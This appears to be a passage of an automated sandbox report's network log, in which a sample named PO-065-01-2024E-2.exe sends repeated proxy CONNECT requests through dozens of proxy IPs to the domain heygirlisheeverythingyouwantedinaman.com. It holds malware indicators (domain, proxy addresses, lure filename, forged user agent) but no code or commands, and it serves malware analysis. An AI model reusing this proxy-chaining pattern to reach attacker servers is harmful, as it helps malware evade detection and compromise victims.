Mar 11, 2024 16:40:09.176665068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:19.734236002 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.10	54921	184.170.245.148	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.890446901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.10	54969	148.135.46.242	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.890494108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.973500013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.973659039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.989063025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.988902092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:32.988816977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:44.988825083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:08.988769054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:57.033757925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.10	54821	94.131.106.196	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.898535967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.910981894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.004791975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.110325098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.207567930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.207545042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.207629919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.10	54868	202.50.203.92	48617	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.913531065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.10	51224	68.71.247.130	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.917907000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.10	55158	68.71.254.6	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.917910099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.10	54993	103.110.10.189	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.921231985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.973525047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.536349058 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.10	54964	138.36.150.26	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.922977924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.10	55144	92.204.135.37	16591	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.927534103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.504821062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.164855957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.10	55141	109.238.12.156	28618	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:56.932907104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.010298967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207848072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.265578985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.410671949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.410737038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.410655975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:09.528959036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.10	51349	184.170.248.5	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.029679060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.10	54920	72.195.101.99	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.032821894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.10	53122	91.134.140.160	20896	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.043756962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.10	55247	212.220.13.98	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.046340942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.10	55169	122.114.232.137	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.057183027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.10	53176	181.209.78.76	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.077189922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.057540894 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.10	53256	45.174.87.18	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.081192970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.202791929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207925081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.265578985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.410676003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.410737038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.410691977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:09.528989077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:57.660542965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.10	53203	159.65.245.255	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.093796015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.202817917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207884073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.265641928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.410876036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.413631916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.410686016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:09.528985023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.10	55237	192.252.216.81	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.096560955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.10	53316	92.205.110.47	19600	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.102456093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.202841043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207875967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.265641928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.410671949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.413633108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
